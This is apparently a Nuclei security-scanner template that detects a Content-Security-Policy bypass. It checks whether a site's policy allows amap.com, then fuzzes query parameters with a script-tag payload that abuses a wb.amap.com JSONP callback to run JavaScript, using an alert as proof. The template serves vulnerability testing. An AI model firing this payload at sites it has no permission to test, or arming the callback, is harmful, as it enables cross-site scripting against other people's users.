id: amap-wb-csp-bypass

info:
  name: Content-Security-Policy Bypass - AMap WB
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,amap-wb,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "amap.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: amap_wb_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://wb.amap.com/channel.php?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "amap_wb_csp_xss == true"
# digest: 490a0046304402201664703b1914916aa8a65e917012ad398a4d8fee3f7c433ad76651e7e8c4481e02206c17c2b349a4b775b70b8165341be1bda353e6c6287865eb66d6874a8b6c5592:922c64590222798bb761d5b6d8e72950